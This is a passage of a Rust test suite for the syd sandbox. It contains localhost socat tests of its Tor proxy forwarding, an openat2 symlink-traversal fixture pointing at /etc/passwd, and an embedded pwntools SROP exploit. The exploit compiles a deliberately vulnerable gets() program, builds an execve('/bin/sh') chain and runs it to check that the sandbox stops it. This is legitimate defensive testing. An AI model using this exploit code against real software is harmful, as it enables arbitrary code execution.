    -mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -ex <<'EOF'
socat -u -d -d FILE:chk TCP6:[::1]:9050,forever
set +x
# Wait socat child to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle incoming connection."
while test `grep -c childdied log` -lt 1; do :; done
EOF
kill -9 $p; wait $p || true
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send4_many_seq() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "seq", "sh", "shuf", "socat", "sort", "tail"
    );

    let syd = &SYD.to_string();
    let syd_cpu = &SYD_CPU.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
echo >&2 "[*] Checking number of CPUs to set a default for the number of concurrent listeners."
c=`{syd_cpu}`
echo >&2 "[*] Number of CPUs is $c."
u=`shuf -n1 -i500-750`
p=`shuf -n1 -i31415-65535`
SYD_TEST_TOR_CHLD=${{SYD_TEST_TOR_CHLD:-$c}}
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_PORT=${{SYD_TEST_TOR_PORT:-$p}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-4}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_NREQ
export SYD_TEST_TOR_PORT
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Concurrent listeners set to $SYD_TEST_TOR_CHLD, use SYD_TEST_TOR_CHLD to override."
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Using port $SYD_TEST_TOR_PORT on localhost, use SYD_TEST_TOR_PORT to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!$SYD_TEST_TOR_PORT in the background."
set -x
socat -u -d -d \
    TCP4-LISTEN:$SYD_TEST_TOR_PORT,bind=127.0.0.1,fork,max-children=$SYD_TEST_TOR_CHLD \
    OPEN:msg,wronly,append,lock 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || echo 0` -lt 1; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
echo >&2 "[*] Spawning sequential socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
    echo $data | socat -u - TCP4:127.0.0.1:9050,forever
    n=`expr $n + 1`
    while test `grep -c childdied log || true` -lt $n; do :; done
done < chk
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ received."
EOF
set +x
echo >&2 "[*] Terminating background socat after syd exit."
tail >&2 -f log &
t=$!
kill -9 $p; wait $p || true
kill -9 $t; wait $t || true
set -x
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send6_many_seq() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "seq", "sh", "shuf", "socat", "sort", "tail"
    );

    let syd = &SYD.to_string();
    let syd_cpu = &SYD_CPU.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
echo >&2 "[*] Checking number of CPUs to set a default for the number of concurrent listeners."
c=`{syd_cpu}`
echo >&2 "[*] Number of CPUs is $c."
u=`shuf -n1 -i500-750`
p=`shuf -n1 -i31415-65535`
SYD_TEST_TOR_CHLD=${{SYD_TEST_TOR_CHLD:-$c}}
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_PORT=${{SYD_TEST_TOR_PORT:-$p}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-4}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_NREQ
export SYD_TEST_TOR_PORT
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Concurrent listeners set to $SYD_TEST_TOR_CHLD, use SYD_TEST_TOR_CHLD to override."
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Using port $SYD_TEST_TOR_PORT on localhost, use SYD_TEST_TOR_PORT to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on ::1!$SYD_TEST_TOR_PORT in the background."
set -x
socat -u -d -d \
    TCP6-LISTEN:$SYD_TEST_TOR_PORT,bind=[::1],fork,ipv6only,max-children=$SYD_TEST_TOR_CHLD \
    OPEN:msg,wronly,append,lock 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || echo 0` -lt 1; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -mproxy/addr:::1 \
    -mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
echo >&2 "[*] Spawning sequential socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
    echo $data | socat -u - TCP6:[::1]:9050,forever
    n=`expr $n + 1`
    while test `grep -c childdied log || true` -lt $n; do :; done
done < chk
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ received."
EOF
set +x
echo >&2 "[*] Terminating background socat after syd exit."
tail >&2 -f log &
t=$!
kill -9 $p; wait $p || true
kill -9 $t; wait $t || true
set -x
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send4_many_par() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "seq", "sh", "shuf", "socat", "sort", "tail"
    );

    let syd = &SYD.to_string();
    let syd_cpu = &SYD_CPU.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
echo >&2 "[*] Checking number of CPUs to set a default for the number of concurrent listeners."
c=`{syd_cpu}`
echo >&2 "[*] Number of CPUs is $c."
u=`shuf -n1 -i250-500`
p=`shuf -n1 -i31415-65535`
SYD_TEST_TOR_CHLD=${{SYD_TEST_TOR_CHLD:-$c}}
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_PORT=${{SYD_TEST_TOR_PORT:-$p}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-1}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_CHLD
export SYD_TEST_TOR_NREQ
export SYD_TEST_TOR_PORT
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Concurrent listeners set to $SYD_TEST_TOR_CHLD, use SYD_TEST_TOR_CHLD to override."
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Using port $SYD_TEST_TOR_PORT on localhost, use SYD_TEST_TOR_PORT to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!$SYD_TEST_TOR_PORT in the background."
set -x
socat -u -d -d \
    TCP4-LISTEN:$SYD_TEST_TOR_PORT,bind=127.0.0.1,fork,max-children=$SYD_TEST_TOR_CHLD \
    OPEN:msg,wronly,append,lock 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || echo 0` -lt 1; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
echo >&2 "[*] Spawning $SYD_TEST_TOR_CHLD concurrent socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    if test $n -eq 0; then
        set -x
    elif test $t; then
        c=`grep -c childdied log || true`
        printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent, $c received..."
    fi
    echo $data | socat -u - TCP4:127.0.0.1:9050,forever &
    test $n -eq 0 && set +x
    n=`expr $n + 1`
    if test `expr $n % $SYD_TEST_TOR_CHLD` -eq 0; then
        while true; do
            c=`grep -c childdied log || true`
            test $c -ge $n && break
            test $t && printf >&2 "\r\033[K%s" "[*] $c out of $n received..."
        done
    fi
done < chk
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ sent."
set +e
echo >&2 "[*] Waiting for socats to send data and exit."
wait
# Wait all socat children to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle all incoming connections."
c=0
while true; do
    test $t && printf >&2 "\r\033[K%s" "[*] $c out of $n received..."
    c=`grep -c childdied log || true`
    test $c -lt $n || break
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $c out of $n received."
EOF
set +x
echo >&2 "[*] Terminating background socats after syd exit."
kill -9 $p; wait $p || true
set -x
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send6_many_par() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "seq", "sh", "shuf", "socat", "sort", "tail"
    );

    let syd = &SYD.to_string();
    let syd_cpu = &SYD_CPU.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
echo >&2 "[*] Checking number of CPUs to set a default for the number of concurrent listeners."
c=`{syd_cpu}`
echo >&2 "[*] Number of CPUs is $c."
u=`shuf -n1 -i250-500`
p=`shuf -n1 -i31415-65535`
SYD_TEST_TOR_CHLD=${{SYD_TEST_TOR_CHLD:-$c}}
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_PORT=${{SYD_TEST_TOR_PORT:-$p}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-1}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_CHLD
export SYD_TEST_TOR_NREQ
export SYD_TEST_TOR_PORT
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Concurrent listeners set to $SYD_TEST_TOR_CHLD, use SYD_TEST_TOR_CHLD to override."
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Using port $SYD_TEST_TOR_PORT on localhost, use SYD_TEST_TOR_PORT to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=none | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on ::1!$SYD_TEST_TOR_PORT in the background."
set -x
socat -u -d -d \
    TCP6-LISTEN:$SYD_TEST_TOR_PORT,bind=[::1],fork,ipv6only,max-children=$SYD_TEST_TOR_CHLD \
    OPEN:msg,wronly,append,lock 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || echo 0` -lt 1; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=${{SYD_LOG:-info}} {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -mproxy/addr:::1 \
    -mproxy/ext/host:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
echo >&2 "[*] Spawning $SYD_TEST_TOR_CHLD concurrent socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    if test $n -eq 0; then
        set -x
    elif test $t; then
        c=`grep -c childdied log || true`
        printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent, $c received..."
    fi
    echo $data | socat -u - TCP6:[::1]:9050,forever &
    test $n -eq 0 && set +x
    n=`expr $n + 1`
    if test `expr $n % $SYD_TEST_TOR_CHLD` -eq 0; then
        while true; do
            c=`grep -c childdied log || true`
            test $c -ge $n && break
            test $t && printf >&2 "\r\033[K%s" "[*] $c out of $n received..."
        done
    fi
done < chk
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ sent."
set +e
echo >&2 "[*] Waiting for socats to send data and exit."
wait
# Wait all socat children to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle all incoming connections."
c=0
while true; do
    test $t && printf >&2 "\r\033[K%s" "[*] $c out of $n received..."
    c=`grep -c childdied log || true`
    test $c -lt $n || break
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $c out of $n received."
EOF
set +x
echo >&2 "[*] Terminating background socats after syd exit."
kill -9 $p; wait $p || true
set -x
sort chk > chk.sort
sort msg > msg.sort
diff -u chk.sort msg.sort
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

/*
 * Construct a test directory with the following structure:
 *
 * root/
 * |-- procexe -> /proc/self/exe
 * |-- procroot -> /proc/self/root
 * |-- root/
 * |-- mnt/ [mountpoint]
 * |   |-- self -> ../mnt/
 * |   `-- absself -> /mnt/
 * |-- etc/
 * |   `-- passwd
 * |-- creatlink -> /newfile3
 * |-- reletc -> etc/
 * |-- relsym -> etc/passwd
 * |-- absetc -> /etc/
 * |-- abssym -> /etc/passwd
 * |-- abscheeky -> /cheeky
 * `-- cheeky/
 *     |-- absself -> /
 *     |-- self -> ../../root/
 *     |-- garbageself -> /../../root/
 *     |-- passwd -> ../cheeky/../cheeky/../etc/../etc/passwd
 *     |-- abspasswd -> /../cheeky/../cheeky/../etc/../etc/passwd
 *     |-- dotdotlink -> ../../../../../../../../../../../../../../etc/passwd
 *     `-- garbagelink -> /../../../../../../../../../../../../../../etc/passwd
 */

/// Enters a user and mount namespace,
/// and sets up the openat2 test directory structure.
fn setup_openat2_test() -> SydResult<OwnedFd> {
    // Get current user/group.
    let uid = getuid().as_raw();
    let gid = getgid().as_raw();

    // Unshare the mount namespace.
    unshare(CloneFlags::CLONE_NEWUSER | CloneFlags::CLONE_NEWNS)?;

    // Map current user/group into userns,
    // or else e.g. mkdirat() will return EOVERFLOW.
    let uid_buf = {
        let uid_maps = vec![
            UidMap {
                inside_uid: uid,
                outside_uid: uid,
                count: 1,
            }, // Map the current user.
        ];
        let mut buf = Vec::new();
        for map in uid_maps {
            writeln!(
                &mut buf,
                "{} {} {}",
                map.inside_uid, map.outside_uid, map.count
            )?;
        }
        buf
    };

    let gid_buf = {
        let gid_maps = vec![
            GidMap {
                inside_gid: gid,
                outside_gid: gid,
                count: 1,
            }, // Map the current group.
        ];
        let mut buf = Vec::new();
        for map in gid_maps {
            writeln!(
                &mut buf,
                "{} {} {}",
                map.inside_gid, map.outside_gid, map.count
            )?;
        }
        buf
    };

    // Write uid/gid map for user namespace.
    // Write "deny" to /proc/self/setgroups before writing to gid_map.
    File::create("/proc/self/setgroups").and_then(|mut f| f.write_all(b"deny"))?;
    File::create("/proc/self/gid_map").and_then(|mut f| f.write_all(&gid_buf[..]))?;
    File::create("/proc/self/uid_map").and_then(|mut f| f.write_all(&uid_buf[..]))?;

    // Make /tmp a private tmpfs.
    mount(
        Some("tmpfs"),
        "/tmp",
        Some("tmpfs"),
        MsFlags::MS_NODEV | MsFlags::MS_NOEXEC | MsFlags::MS_NOSUID,
        Some("mode=1777"),
    )?;

    // Create a temporary directory.
    let tmpdir = "/tmp/openat2";
    mkdir(tmpdir, Mode::S_IRWXU)?;

    // Open the top-level directory.
    let dfd = open(tmpdir, OFlag::O_PATH | OFlag::O_DIRECTORY, Mode::empty())?;

    // Create the 'root' sub-directory.
    mkdirat(Some(dfd), "root", Mode::from_bits_truncate(0o755))?;
    let tmpfd = openat(
        Some(dfd),
        "root",
        OFlag::O_PATH | OFlag::O_DIRECTORY,
        Mode::empty(),
    )?;
    let _ = close(dfd);
    let dfd = tmpfd;

    // Create symbolic links and directories as per the structure.
    symlinkat("/proc/self/exe", Some(dfd), "procexe")?;
    symlinkat("/proc/self/root", Some(dfd), "procroot")?;
    mkdirat(Some(dfd), "root", Mode::from_bits_truncate(0o755))?;

    // Create 'mnt' directory and mount tmpfs.
    mkdirat(Some(dfd), "mnt", Mode::from_bits_truncate(0o755))?;
    fchdir(dfd)?;
    mount(
        Some("tmpfs"),
        "./mnt",
        Some("tmpfs"),
        MsFlags::MS_NODEV | MsFlags::MS_NOEXEC | MsFlags::MS_NOSUID,
        Some("mode=1777"),
    )?;
    symlinkat("../mnt/", Some(dfd), "mnt/self")?;
    symlinkat("/mnt/", Some(dfd), "mnt/absself")?;

    mkdirat(Some(dfd), "etc", Mode::from_bits_truncate(0o755))?;
    let _ = close(openat(
        Some(dfd),
        "etc/passwd",
        OFlag::O_CREAT | OFlag::O_EXCL,
        Mode::from_bits_truncate(0o644),
    )?);

    symlinkat("/newfile3", Some(dfd), "creatlink")?;
    symlinkat("etc/", Some(dfd), "reletc")?;
    symlinkat("etc/passwd", Some(dfd), "relsym")?;
    symlinkat("/etc/", Some(dfd), "absetc")?;
    symlinkat("/etc/passwd", Some(dfd), "abssym")?;
    symlinkat("/cheeky", Some(dfd), "abscheeky")?;

    mkdirat(Some(dfd), "cheeky", Mode::from_bits_truncate(0o755))?;

    symlinkat("/", Some(dfd), "cheeky/absself")?;
    symlinkat("../../root/", Some(dfd), "cheeky/self")?;
    symlinkat("/../../root/", Some(dfd), "cheeky/garbageself")?;

    symlinkat(
        "../cheeky/../cheeky/../etc/../etc/passwd",
        Some(dfd),
        "cheeky/passwd",
    )?;
    symlinkat(
        "/../cheeky/../cheeky/../etc/../etc/passwd",
        Some(dfd),
        "cheeky/abspasswd",
    )?;

    symlinkat(
        "../../../../../../../../../../../../../../etc/passwd",
        Some(dfd),
        "cheeky/dotdotlink",
    )?;
    symlinkat(
        "/../../../../../../../../../../../../../../etc/passwd",
        Some(dfd),
        "cheeky/garbagelink",
    )?;

    // Unset close-on-exec, we'll pass this fd to syd-test-do.
    set_cloexec(&dfd, false)?;

    Ok(unsafe { OwnedFd::from_raw_fd(dfd) })
}

const SROP_CODE: &str = r##"
#!/usr/bin/env python
# coding: utf-8
#
# stack-pivot: Perform a simple SROP with a stack pivot.
# Copyright (c) 2024 Ali Polatel <alip@chesswob.org>
# SPDX-License-Identifier: GPL-3.0

import os, sys, subprocess, shutil, time

try:
    from pwn import (
        context,
        ELF,
        process,
        log,
        cyclic,
        cyclic_find,
        ROP,
        SigreturnFrame,
        p64,
        constants,
    )
except ImportError:
    sys.stderr.write("[!] Pwntools is not installed. Exiting.\n")
    sys.exit(127)
else:
    context.terminal = ["echo", "ENOTTY"]

TEMP_FILES = ["vuln_srop.c", "vuln_srop", "srop.bin", "srop.txt", "pwned_srop"]


def compile_vuln():
    vuln_c_code = r"""
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int overflow(void) {{
    char buf[8];
    gets(buf); /* Vulnerable to buffer overflow */
    return 0;
}}

int main(void) {{
    overflow();
    if (getuid() + getpid() == 0) {{
#ifdef __x86_64__
        __asm__ __volatile__ (
            "pop %rdi; ret;"
            "pop %rsi; ret;"
            "pop %rdx; ret;"
            "pop %rax; ret;"
        );
#elif __i386__
        __asm__ __volatile__ (
            "pop %eax; ret;"
            "int 0x80; ret;"
        );
#else
#error unsupported architecture
#endif
        execve("/bin/sh", 0, 0);
    }}
    return 0;
}}
    """
    with open("vuln_srop.c", "w") as f:
        f.write(vuln_c_code)
    cc_cmd = "cc -Wall -Wextra -g -O0 -fno-stack-protector -no-pie -static vuln_srop.c -o vuln_srop"
    try:
        subprocess.run(
            cc_cmd,
            shell=True,
            check=True,
            stderr=subprocess.PIPE,
            stdout=subprocess.PIPE,
        )
    except subprocess.CalledProcessError as e:
        sys.stderr.write(f"[!] Compilation failed: {e.stderr.decode()}\n")
        sys.exit(127)


def generate_srop():
    context.binary = "./vuln_srop"
    elf = ELF("./vuln_srop")
    if context.arch not in ("amd64", "i386"):
        log.warn("This script only works on x86 or x86_64. Exiting.")
        sys.exit(127)

    # Ensure core dumps are unlimited.
    log.info("Setting core dump size to unlimited.")
    try:
        subprocess.run(
            ["prlimit", "--pid", str(os.getpid()), "--core=unlimited"], check=True
        )
    except subprocess.CalledProcessError:
        log.warn("Failed to set core dump size to unlimited.")
        log.warn("The next step may fail.")

    # Generate a cyclic pattern and send it to the vulnerable program.
    log.info("Generating cyclic pattern to find offset.")
    pattern = cyclic(128)
    p = process("./vuln_srop")
    p.sendline(pattern)
    p.wait()

    # Extract the core dump.
    core = p.corefile
    arch = context.arch

    if arch == "amd64" or arch == "i386":
        stack_pointer = "rsp"
    elif arch == "arm" or arch == "aarch64":
        stack_pointer = "sp"
    else:
        log.warn(f"Unsupported architecture: {arch}")
        sys.exit(127)

    offset = cyclic_find(core.read(getattr(core, stack_pointer), 4))
    log.info(f"Offset is {offset}.")

    log.info(f"Removing coredump file '{core.path}'")
    try:
        os.remove(core.path)
    except:
        log.warn(f"Failed to remove coredump file '{core.path}'")

    # Clear ROP cache.
    try:
        ROP.clear_cache()
    except:
        pass

    # Find SROP gadgets and /bin/sh string.
    log.info("Finding SROP gadgets and locating '/bin/sh'")
    rop = ROP(elf)
    bin_sh = next(elf.search(b"/bin/sh"))
    log.info("Located '/bin/sh' at %#x." % bin_sh)

    if context.arch == "amd64":
        # Find gadgets needed to trigger a sigreturn
        pop_rax = rop.find_gadget(["pop rax", "ret"])[0]
        syscall_ret = rop.find_gadget(["syscall", "ret"])[0]

        # Prepare a SigreturnFrame.
        frame = SigreturnFrame(kernel=context.arch)
        frame.rax = constants.SYS_execve
        frame.rdi = bin_sh
        frame.rsi = 0
        frame.rdx = 0
        frame.rip = syscall_ret

        payload = b"A" * offset
        payload += p64(pop_rax)
        payload += p64(15)  # rt_sigreturn for x86_64.
        payload += p64(syscall_ret)  # trigger sigreturn.
        payload += bytes(frame)
    #
    #    elif context.arch == "i386":
    #        # i386
    #        int80_ret = rop.find_gadget(["int 0x80", "ret"])[0]
    #        pop_eax = rop.find_gadget(["pop eax", "ret"])[0]
    #        bin_sh = (
    #            next(elf.search(b"/bin/sh\x00")) if b"/bin/sh\x00" in elf.read() else None
    #        )
    #        if not bin_sh:
    #            bin_sh = next(elf.search(b"/"))
    #        frame = SigreturnFrame(kernel="i386")
    #        frame.eax = constants.SYS_execve
    #        frame.ebx = bin_sh
    #        frame.ecx = 0
    #        frame.edx = 0
    #        frame.eip = int80_ret
    #        payload = b"A" * offset
    #        payload += p32(pop_eax)
    #        payload += p32(0x77)  # sigreturn on i386
    #        payload += p32(int80_ret)  # trigger sigreturn
    #        payload += bytes(frame)

    log.info("SROP payload is %d bytes." % len(payload))
    print(rop.dump(), file=sys.stderr)
    with open("srop.txt", "w") as f:
        print(rop.dump(), file=f)
    log.info("ROP textual dump saved to 'srop.txt' for inspection.")

    # Save the ROP details to a file.
    with open("srop.bin", "wb") as f:
        f.write(payload)

    log.info("ROP payload saved to file 'srop.bin'")
    log.info('Do "stack-pivot run" in the same directory to perform exploitation.')


def run_exploit():
    with open("srop.bin", "rb") as f:
        payload = f.read()

    # Function to attempt exploit without using pwntools.
    def attempt_exploit():
        try:
            p = subprocess.Popen(["./vuln_srop"], stdin=subprocess.PIPE)

            log.info("Writing the SROP payload to vulnerable program's standard input.")
            p.stdin.write(payload + b"\n")
            p.stdin.flush()

            log.info("Sending input to the SROP shell.")
            p.stdin.write(
                b"set -ex; echo SROP: Change return success. Going and coming without error. Action brings good fortune.; sleep 1; touch pwned; exit 42\n"
            )
            p.stdin.flush()

            for _ in range(3):
                if os.path.exists("pwned"):
                    os.remove("pwned")
                    p.kill()
                    return True
                time.sleep(1)
            p.kill()
        except:
            return False
        return False

    # Attempt the exploit up to 10 times.
    max_attempts = 10
    for attempt in range(max_attempts):
        log.info("Running the vulnerable program.")
        log.info(f"Attempt {attempt + 1} of {max_attempts} with 3 seconds timeout.")
        if attempt_exploit():
            log.warn("Successfully smashed the stack using a SROP chain!")
            sys.exit(42)
        else:
            log.info(f"Attempt {attempt + 1} failed.")
            attempt += 1

    log.info("All attempts failed.")
    sys.exit(0)


def clean():
    for temp_file in TEMP_FILES:
        if os.path.exists(temp_file):
            shutil.rmtree(temp_file)


def print_help():
    print("Usage:")
    print("srop init  - prepare the binary and payload")
    print("srop run   - run the exploitation")
    print("srop clean - clean up generated files")
    print("srop help  - this help")


def main():
    if len(sys.argv) < 2:
        print_help()
        sys.exit(0)
    elif sys.argv[1] == "init":
        compile_vuln()
        generate_srop()
    elif sys.argv[1] == "run":
        run_exploit()
    elif sys.argv[1] == "clean":
        clean()
    else:
        print_help()
        sys.exit(0)


if __name__ == "__main__":
    main()
"##;

fn init_srop() -> bool {
    // Write the python code to a temporary file.
    match File::create("srop") {
        Ok(mut file) => {
            if let Err(e) = file.write_all(SROP_CODE.as_bytes()) {
                eprintln!("Failed to write to file srop: {e}");
                return false;
            }
        }
        Err(e) => {
            eprintln!("Failed to create file srop: {e}");
            return false;
        }
    }

    if let Err(e) = syd::fs::chmod_x("./srop") {
        eprintln!("Failed to set srop executable: {e}");
        return false;
    }

    // Prepare attack unsandboxed.
    let status = Command::new("python")
        .arg("./srop")
        .arg("init")
        .stdin(Stdio::null())
        .status();

    match status {
        Ok(status) => {
            if !status.success() {
                eprintln!("Preparation of SROP attack failed with status: {status}");
                false
            } else {
                true
            }
        }
        Err(e) => {
            eprintln!("Failed to execute SROP command: {e}");
            false
        }
    }
}

const STACK_PIVOT_CODE: &str = r##"
#!/usr/bin/env python
# coding: utf-8
#
# stack-pivot: Perform a simple ROP with a stack pivot.
